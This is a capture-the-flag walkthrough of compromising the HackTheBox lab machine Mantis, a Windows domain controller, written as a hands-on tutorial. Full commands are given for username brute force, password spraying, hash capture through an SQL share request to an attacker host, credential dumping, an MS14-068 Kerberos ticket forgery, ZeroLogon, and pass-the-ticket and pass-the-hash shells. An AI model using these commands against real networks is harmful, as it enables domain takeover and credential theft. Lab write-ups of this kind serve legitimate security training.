In this Walkthrough, we will be hacking the machine Mantis from HackTheBox.
We will begin by enumerating domain / domain controller specific services, which allows us to find a valid username. Next, we move onto enumerating non domain specific services where we uncover a password from the HTTP server that gets us into the SQL server. Enumeration of the SQL server then reveals the password of the user we enumerated earlier.
Armed with a valid set of credentials, we attempt to see what services this user can access and find that they have RDP access; however, RDP is not open.
The right Google search leads us in the direction of MS14-068, which the DC is vulnerable to. As a result, we find that we are able to craft a domain admin kerberos ticket remotely using the standard user’s credentials we found earlier.
Finally, we will use the DA kerberos ticket in a pass-the-ticket attack to get a shell on the DC as SYSTEM!
For a bonus, I also show a second technique to get a SYSTEM shell by using ZeroLogon and a pass-the-hash attack.
— nmap TCP full —
nmap -A -sV -sC -T4 10.10.10.52 -p- -oN tpc_full.nmap
— nmap UDP top 1000 —
Note that the web server scans are ran immediately after nmap results are returned and manual enumeration is performed while they are running.
— gobuster – port: 1337 —
gobuster dir -u http://10.10.10.52:1337 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,asp,aspx 80 > gobuster_1337.txt
— nikto – port: 1337 —
— gobuster – port: 8080 —
gobuster dir -u http://10.10.10.52:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txtt,asp,aspx 80 > gobuster_8080.txt
— nikto – port: 8080 —
Enumeration and Initial Exploit
Review of Open Ports
Lots of interesting TCP ports open and it was observed this machine is a Domain Controller (DC)!
- Port 53 is open and is hosting a DNS service over TCP – version: Microsoft DNS 6.1.7601 (1DB15CD4)
- Port 88 is open and is hosting the kerberos service.
- Ports 135 / 139 / 445 are open and are hosting the RPC / NetBIOS / SMB share services respectively.
- Ports 389 / 3268 and 636 / 3269 are hosting the LDAP/S services respectively.
- Ports 464 and 593 are hosting common uninteresting Windows services.
- Port 1337 is open and is hosting an HTTP server – Microsoft IIS httpd 7.5
- Port 1433 and 50255 are open and hosting an MSSQL servers – version: Microsoft SQL Server 2014 12.00.2000
- Port 5722 is open and is hosting and RPC service.
- Port 8080 is open and is hosting an HTTP server – Microsoft IIS httpd 7.5 – Tossed Salad (blog)
- Port 9389 is hosting the .NET Message Framing service.
- Port 47001 is open, which is commonly associated with WinRM – Microsoft HTTPAPI httpd 2.0
- NOTE: Since port 5985 is NOT open, check this port in the browser to make sure its not a sneaky web server.
- Ports 49xxx are hosting the high port RPC services.
At this point the gobuster scans have not yet finished so I will circle back to web servers at the end.
From the nmap scan we can see this is a Domain Controller with a hostname of MANTIS and is the DC for domain htb.local.
Enumerating Domain / DC Specific Services
Enumeration will begin by attempting to get a Zone Transfer from the DNS server.
dig @10.10.10.52 AXFR htb.local dnsenum 10.10.10.52
Dig failed for me so I tried dnsenum, but that too did not get a hit.
Next, I attempted to enumerate the RPC service and SMB shares using an anonymous session. I was NOT able to get RPC access, but I was able to get anonymous SMB access.
smbclient -L 10.10.10.52 -N rpcclient 10.10.10.52 -N
It did not list the shares so I used the following nmap scan to find the share names. Unfortunately, there were no custom shares and anonymous access to all of the shares was denied.
nmap 10.10.10.52 --script=smb-enum* -p445
Since this is a Server 2008 machine I performed a vuln check using nmap to see if this host is vulnerable to MS17-010. The host did not come back vulnerable.
nmap 10.10.10.52 --script=smb-vuln* -p139,445
To confirm that this host is patched, I tested for Eternal Blue using eternal_checker.py and it found that the host was indeed patched.
Moving ahead, I attempted an anonymous LDAP search, which didn’t end up getting any good information since I did not have valid credentials to pass through it.
ldapsearch -x -H ldap://10.10.10.52 -b "dc=htb,dc=local"
After checking LDAP, I tested for a quick No-Preauth kerberos win, but got no hits.
GetNPUsers.py htb.local/ -dc-ip 10.10.10.52
Brute Forcing a Valid Username with Kerbrute
Without any usernames to work with, I attempted to brute force some by running kerbrute on a username wordlist called names.txt.
kerbrute -domain htb.local -users /usr/share/wordlists/names.txt -dc-ip 10.10.10.52
Amazing! I was able to find a valid username “james” with the brute force attempt.
Once a valid username or password is found, it is a good idea to start crafting a users.txt file and passwords.txt file to keep track of all the findings and test them everywhere you can.
Not able to do much with just a valid username, I decided to try and brute force the user james’ password using CrackMapExec and just let that run while I begin looking at the webservers.
crackmapexec smb 10.10.10.52 -d htb.local -u htb.local/james -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt
HTTP Server Enumeration – Finding SQL Server Password
It was observed that there was a directory named Orchard and another named secure_notes on the web server running on port 1337.
Navigating the http://10.10.10.52:1337/secured_notes brings up the following page with a “dev notes” TXT file and what appears to be an empty web.config file (due to the size).
Checking the dev notes, it hints to an SQL user named ‘admin‘ and to look deeper in the /Orchard subdirectory that was found on port 1337.
Because of the hint towards the Orachard CMS, I decided to run another gobuster scan against that subdirectory specifically.
gobuster dir -u http://10.10.10.52:1337/orchard -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,asp,aspx 80 > gobuster_1337_orchard.txt
While I wait for the gobuster scan of the /orchard sub directory to finish, I continued to investigate the ‘dev_notes’ page and started thinking that the name of the TXT file seemed a bit odd… I began to wonder what the string was in the file name: dev_notes_NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx.txt.txt
I decided to try base64 decoding it and it produced a string that looked like it could be an NTID or MD5 hash?
echo "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx" | base64 --decode
After trying to figure out what this hash type was, it was determined that this is NOT an NTID, a password, nor a hash of any sort. Since it did not fall under any of those categories, I began to suspect that maybe it could be hex encoding.
Running the following command I was able to confirm my suspicion and decode what appears to be the MSSQL password!
echo "6d2424716c5f53405f504073735730726421" | xxd -r -p && echo ''
SQL Server Enumeration
Testing the credentials admin : m$$ql_S@_P@ssW0rd! granted me access to the SQL server using the tool sqsh.
sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!'
Since this is the ‘Admin’ user, the first thing I wanted to test is if I can get command execution. To test this, I attempted to turn on xp_cmdshell and execute a command, like so:
EXEC SP_CONFIGURE 'show advanced options', 1 reconfigure go EXEC SP_CONFIGURE 'xp_cmdshell' , 1 reconfigure go xp_cmdshell 'whoami' go
Unfortunately I was denied permissions to reconfigure the settings to turn on xp_cmdshell. Also, when I attempt a POC with the whoami command, I am stuffed because the xp_cmdshell is not turned on.
After confirming that xp_cmdshell is turned off and I cannot turn it on, I decided to move on. The next thing I wanted to test is connecting to a non-existent share with Responder running and hoping to grab a hash of the SQL service owner.
First, I started Responder like so:
responder -I tun0
We can see that the spoofer SMB server is running, which will be necessary for this attack. Next, in the SQL shell, I used the following commands to try and grab a hash with Responder:
exec master..xp_dirtree '\\10.10.14.12\test' go
The output indicates that the server tried to connect to the share, and when I checked back on my Responder output, I got the hash for the machine account (Local SYSTEM)!
This is awesome, however, the only issue is we will never crack this in the lifetime of the universe as the computer object (SYSTEM account) has a 120-character password. So this does not appear to be the intended route.
Finding User ‘James’ Password in Database Table
Next, I went in and began to enumerate the database to see if there are any stored credentials in one of the tables.
First, I enumerated all of the databases; although, from the dev_notes message I knew I was likely looking for ‘orcharddb’.
SELECT name FROM master.dbo.sysdatabases go
Alright, orcharddb was found so that is where I wanted to start. Next, I dropped out of the SQL shell and then used the following command to get into the orcharddb database:
sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!' -d orcharddb
Once in orcharddb database, I ran the following command to dump all of the table names:
SELECT * FROM orcharddb.INFORMATION_SCHEMA.TABLES; go
This extracted 62 table names! — However, while skimming through the various tables, one had the word ‘user’ in it so I knew that’s the one I wanted to check first.
Next, I extracted all of the data from the table where I was provided a password for the user James I had enumerated earlier!
SELECT * FROM blog_Orchard_Users_UserPartRecord; go
james : J@m3s_P@ssW0rd!
Now that a valid set of credentials have been obtained, I decided to return to more domain / DC specific services enumeration.
Remember, enumeration is always cyclical and rarely ever linear. Generally, finding something (especially a username/password combo) opens the potential to double back over what was enumerated already but with additional access.
Further Domain / DC Service Enumeration
After having found a set of credentials in the orcharddb database, I was able to confirm these credentials are valid by attempting to access a few different services using crackmapexec
crackmapexec smb 10.10.10.52 -d htb.local -u james -p 'J@m3s_P@ssW0rd!' crackmapexec mssql 10.10.10.52 -d htb.local -u james -p 'J@m3s_P@ssW0rd!'
This shows that the accounts credentials are valid; however, the user cannot get command execution from either the SMB or MSSQL services.
Next I ran an enum4linux scan using the credentials to see if they will provide further access / information.
enum4linux -u james -p 'J@m3s_P@ssW0rd!' -a 10.10.10.52 > enum4linux.txt
While the above scan runs, I will attempted to plug the credentials I have found so far in all the places I can. Starting with the website, which creates an error when attempting to logon.
Since we are unable to obtain a foothold on the DC as this user, we can use bloodhound.py to remotely extract all of the rights and relations in the domain.
I executed bloodhound.py with the following command, creating 4 JSON files in my working directory that can be fed into Bloodhound’s GUI.
python3 /opt/Windows/BloodHound_Python/bloodhound.py -d htb.local -u james -p 'J@m3s_P@ssW0rd!' -c all -ns 10.10.10.52
Once all the files were collected, I started both Bloodhound and Neo4j:
sudo bloodhound sudo neo4j console
I logged into Bloodhound and then on the right-hand side, I uploaded the JSON files that were created when Bloodhound.py was used.
After uploading the data, I went to the Analysis tab and then checked the “Shortest Paths to High Value Targets” query and found that the user James is part of the Remote Desktop User’s group and can RDP into the DC.
This looks juicy and like it could be my way in; however, RDP is not open on this host.
Hunting for an Exploit Using Google
Continuing on, I decided to Google the following “windows server 2008 r2 standard 7601 service pack 1 exploit domain” where I was presented with a lot of MS17-010 pages; however, one stood out here that was MS14-068 and was about kerberos.
MS14-068 is a reported vulnerability in Microsoft Windows Kerberos KDC that could allow an attacker to elevate unprivileged domain user account privileges to those of the domain administrator account. An attacker could use these elevated privileges to compromise any computer in the domain, including domain controllers. An attacker must have valid domain credentials to exploit this vulnerability.
Exploiting MS14-068 to Craft a Keberos Ticket with Domain Admin Privileges
Following the steps on the page, I landed in this GitHub repo here to download the exploit.
I grabbed a copy of the exploit onto my attacker machine and began to review the steps.
It appears that the first step is redundant (create a ticket), so I will start by finding the current users SID.
I was able to gather the user’s SID using lookupsid.py from the Impacket Collection of Scripts and the following command:
lookupsid.py htb.local/james:'J@m3s_P@ssW0rdfirstname.lastname@example.org | grep -i "domain sid\|james"
Now when we take the domain SID + the users RID, we get the users SID: S-1-5-21-4220043660-4019079961-2895681657-1103
With the SID handy I was able to use the ms14-068 exploit and craft a new kerberos ticket for the user james.
python ms14-068.py -u email@example.com -p 'J@m3s_P@ssW0rd!' -d 10.10.10.52 -s S-1-5-21-4220043660-4019079961-2895681657-1103
Woot! This created the new kerberos ticket for us, which should have domain admin privileges!!
Perfoming a Pass-the-Ticket Attack to get a SYSTEM Shell on the DC
I didn’t like that the name of this ticket had special characters, so I renamed it to simply be james.ccache and then I exported the new ticket (with admin group privs) into my current session (on attacker machine).
mv TGT_james\@htb.local.ccache james.ccache export KRB5CCNAME=/opt/Windows/pykek-CVE-2014-6324/james.ccache
With the ticket now in my current session, and if everything worked as expected, then I should be able to use psexec.py to log into the host using the domain admin ticket and get a SYSTEM shell.
To do this, I used the following command:
psexec.py firstname.lastname@example.org -target-ip 10.10.10.52 -dc-ip 10.10.10.52 -k -no-pass
BOOM! It worked and I was able to get a SYSTEM shell on the DC!
Post Exploitation Enumeration and Privilege Escalation
Initial exploit established a foothold as SYSTEM. All privilege escalation techniques were already performed remotely when forging the DA ticket.
BONUS – Quick Win with ZeroLogon
Just for fun, I decided to test ZeroLogon since this is an older machine and sure enough, I was able to exploit it and get a SYSTEM shell very easily.
python3 cve-2020-1472-exploit.py MANTIS 10.10.10.52
Now that the password has been changed to an empty string, I was able to dump all of the hashes on the DC with secretsdump.py, like so:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MANTISemail@example.com'
Equipped with the Administrators hash, I was able to use psexec.py and a pass-the-hash attack to get a SYSTEM shell on the DC!
psexec.py firstname.lastname@example.org -hashes :22140219fd9432e584a355e54b28ecbb
To learn more about pass-the-hash attacks, check out my post on the topic here.